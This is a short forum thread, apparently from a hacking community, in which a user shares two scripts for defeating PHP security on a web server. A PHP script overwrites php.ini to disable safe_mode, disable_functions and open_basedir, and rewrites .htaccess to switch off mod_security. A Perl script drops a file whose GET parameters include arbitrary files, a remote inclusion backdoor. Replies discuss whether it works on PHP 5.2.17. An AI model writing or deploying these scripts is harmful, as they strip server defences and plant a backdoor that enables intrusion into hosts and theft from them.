Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
Safe Mod Off Php Script
  • nImaarek
    Posts: 25
    for bypass safemod

    <?
    // Coded ByCyber-WARRİOR
    echo \"<html>
    <center>

    <head>
    <title>cyber-warrior</title>
    <meta http-equiv=’pragma’ content=’no-cache’>
    </head><bOdy>\";

    $fp = fopen(\"php.ini\",\"w+\");
    fwrite($fp,\"safe_mode = Off
    disable_functions =
    safe_mode_gid = OFF
    open_basedir = OFF \");

    $fp2 = fopen(\".htaccess\",\"w+\");
    fwrite($fp2,\"<IfModule mod_security.c>
    SecFilterEngine Off
    SecFilterScanPOST Off
    SecFilterCheckURLEncoding Off
    SecFilterCheckCookieFormat Off
    SecFilterCheckUnicodeEncoding Off
    SecFilterNormalizeCookies Off
    </IfModule> \");
    echo \"
    Coded By
    cyber-warrior
    \";
    ?>
    [hr]
    Or
    #!/usr/bin/perl
    print \"Coded By YabanCi BlackHat\n\n\";
    sleep(1);
    print \"Wait\n\";
    open (yabanci, \">ini.php\");
    print yabanci q
    {<?
    echo ini_get(\"safe_mode\");
    echo ini_get(\"open_basedir\");
    include($_GET[\"file\"]);
    ini_restore(\"safe_mode\");
    ini_restore(\"open_basedir\");
    echo ini_get(\"safe_mode\");
    echo ini_get(\"open_basedir\");
    include($_GET[\"ss\"]);
    ?>};
    close(yabanci);
    open (yabanci2, \">php.ini\");
    print yabanci2 q
    {
    safe_mod=off
    disable_function=none
    };
    close(yabanci2);
    print \"Done!\n\";
    exit();
  • Xin
    Posts: 3,251
    Nice although it isp robs easier just copy and pasting the scirpt into php.ini yourself rather than uploading the code to do it.
    Xin
  • Xin
    Posts: 3,251
    said:


    thanx is this working on PHP/5.2.17 ?



    I think so, although thats just a guess.
    Xin